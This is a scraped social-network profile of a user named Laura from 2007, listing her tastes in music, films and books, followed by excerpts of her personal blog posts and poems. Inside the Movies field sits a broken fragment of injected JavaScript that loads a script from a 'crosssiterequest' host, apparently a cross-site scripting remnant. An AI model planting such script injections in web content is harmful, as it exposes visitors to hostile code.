Laura - ProfilesArchive

About Me

My Interests

writing, baseball, travel, reading, blues

I'd like to meet:

John Barrymore, Babe Ruth, Caligula

Music:

Tom Waits, the Bo Deans, Muddy Mississippi Waters, Tony Bennett,James Taylor, Mott the Hoople, B.B. King, Dean Martin, Uriah Heep, John Mayall, Ronnie Montrose, Lonnie Mack, The Blue Man Group, Lou Reed, Gene Krupa, Dire Straits, Grateful Dead, Wishbone Ash, Spirit, De Phazz, Humble Pie, Hot Tuna, Santana, Zeppelin, Alice Cooperblues, reggae, rock, rockabilly, swing, jazz

Movies:

Field of Dreams, Eating Raoul, Motel Hell, American Psycho, Reservoir Dogs, Down by Law, Rumble Fish, Kill Bills 1&2, Little Big Man, The Song Remains the Same,Jim Jarmusch flicks .... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document.write("..1...{}");}..

Television:

CSI, History, Arts and Entertainment, Discovery, WGN Cubs Baseball

Books:

Augusten Burroughs, Carrie Fisher, William Saroyan, Steven King, the Sanford Prey books, Pat Conroy, Sylvia Plath, M.J. Rose, Robert Parker, Virginia Woolf, Jonathan Kellerman, Kerouac, Mark Twain, F. Scott Fitzgerald,Paul Creswick, Edgar Allan Poe, K.J. Stevens

Heroes:

Derrick Lee, Gil Grissom, Da Vinci..

My Blog

eccentrics

he always wore a hat-usually a beret. jack wasn't crazy,I'd say he was more likelet's see..what can one say about jack.. artisticeccentricunique he was like a bohemian aristrocrat I was one ...
Posted by Laura on Sun, 18 Feb 2007 01:37:00 PST

Anthony Mastrionni and the Minestrone Mystery

I can't drink white milk. When I was a kid for some reason or another it made me barf and I can't drink it straight now-same thing with tequila. I have no problem with white milk in cereal, but unle...
Posted by Laura on Thu, 15 Feb 2007 10:46:00 PST

a good man

At my age there's a certain kind of securityin being single. I imagine the chances of finding a good man are about the same as finding a decent used car. The mileage-that isn't too important if the e...
Posted by Laura on Tue, 13 Feb 2007 01:08:00 PST

the silent shriek

I think if my mindhad a speedometerin that fraction of a secondthe increments wouldhave been in light years. the lakethe messa wasteSTOPfor whatyour smilethe tearsmy motherYOUR motherour dogthe laugh...
Posted by Laura on Tue, 13 Feb 2007 10:44:00 PST

going to the meat market with fat liz

every nightfat liz turned herself intopot luck dinner leftoversat closing time;an open book willing to accept any and all bookmarksadventurous enoughto search for a hole like some sort of game amazin...
Posted by Laura on Mon, 12 Feb 2007 12:20:00 PST

Yet another Anna Nicole Smith blog

Someone on the news last night said that "if Anna Nicole knew in the last moments of her life that she was dying, she most likely thought to herself 'I'm going just like Marilyn' and that would have ...
Posted by Laura on Sun, 11 Feb 2007 03:39:00 PST

straight up sexy

to me-there is something so sensualabout a cocktail the soft comfortable clunk ofa heavy glasscoming to rest on thick wood. the velvety elixir warmthas it runs down my throat and sedates my soul the...
Posted by Laura on Sun, 11 Feb 2007 06:17:00 PST

My Brother Bob

The Business Man It seems that we worry the most about people who don't worry at all-especially when those people are family. Bob (pre-braces)-the reason I probably never wanted kids The teachers...
Posted by Laura on Fri, 09 Feb 2007 08:10:00 PST

a rant

Shake the goddamn handle I've been digging up on this poetryBut every now and againI find some cat that just wallows in misery,Like this one today&. We all get Plathy at times But I could listen to co...
Posted by Laura on Thu, 08 Feb 2007 04:20:00 PST

Chicago Cold

Though I'm five years removed from chitown's brutal winters,The chill-to-the-bone memories linger.... I remember sore throatsand rock'n'rye remedies. I remember Mad Dog and making snow angels in the...
Posted by Laura on Wed, 07 Feb 2007 11:51:00 PST